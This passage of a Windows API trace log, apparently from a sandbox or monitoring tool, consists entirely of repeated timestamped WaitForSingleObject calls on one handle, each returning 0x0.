dwMilliseconds=0xffffffff) returned 0x0 [0212.599] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.599] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.599] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.599] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.599] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.599] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.600] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.600] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.600] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.600] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.600] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.600] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.600] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.600] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.600] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.600] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.601] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.601] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.601] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.601] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.601] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.601] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.601] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.601] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.601] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.601] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.601] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.602] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.602] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.602] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.602] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.602] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.602] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.602] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.602] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.602] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.602] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.602] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.603] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.603] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.603] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.603] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.603] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.603] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.603] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.603] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.603] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.603] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.603] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.604] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.604] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.604] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.604] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.604] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.604] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.604] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.604] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.604] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.604] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.604] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.604] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.605] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.605] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.605] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.605] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.605] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.605] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.605] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.605] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.605] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.605] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.606] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.606] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.606] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.606] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.606] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.606] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.606] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.606] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.606] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.606] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.606] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.607] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.607] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0212.607] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.956] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.956] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.956] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.956] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.956] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.956] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.956] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.956] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.956] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.957] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.957] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.957] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.957] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.957] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.957] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.957] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.957] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.958] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.958] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.958] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.958] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.958] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.958] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.958] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.958] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.959] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.959] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.959] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.959] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.959] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.959] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.959] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.959] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.959] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.960] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.960] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.960] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.960] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.960] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.960] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.960] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.960] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.960] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.960] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.961] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.961] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.961] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.961] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.961] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.961] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.961] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.961] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.961] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.961] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.961] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.962] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.962] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.962] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.962] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.962] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.962] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.962] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.962] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.962] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.962] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.963] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.963] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.963] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.963] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.963] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.963] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.963] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.963] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.964] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.964] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.964] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.964] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.964] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.964] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.964] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.964] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.965] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.965] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.965] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.965] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.965] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.965] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.965] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.965] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.966] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.966] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.966] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.966] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.966] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.966] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.966] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.966] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.966] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.967] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.967] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.967] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.967] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.967] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.967] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.967] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.967] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.967] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.968] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.968] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.968] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.968] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.968] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.968] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.968] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.969] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.970] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.970] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.970] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.970] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.970] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.970] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.970] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.970] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.970] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.971] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.971] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.971] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.971] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.971] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.971] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.971] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.971] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.971] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.971] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.972] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.972] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.972] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.972] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.972] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.972] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.972] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.972] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.972] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.972] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.972] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.973] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.973] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.973] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.973] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.973] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.973] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.973] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.973] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.973] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.973] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.973] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.973] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.974] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.974] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.974] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.974] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.974] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.974] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.974] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.974] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.974] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.974] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.975] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.975] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.975] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.975] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.975] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.975] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.975] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.975] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.975] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.976] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.976] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.976] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.976] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.976] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.976] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.976] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.976] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.977] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.977] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.977] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.977] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.977] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.977] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.977] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.977] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.977] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.978] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.978] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.978] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.978] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.978] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.978] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.978] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.978] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.978] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.979] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.979] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.979] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.979] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.979] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.979] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.979] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.979] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.979] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.980] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.980] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.980] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0xffffffff) returned 0x0 [0214.980] WaitForSingleObject 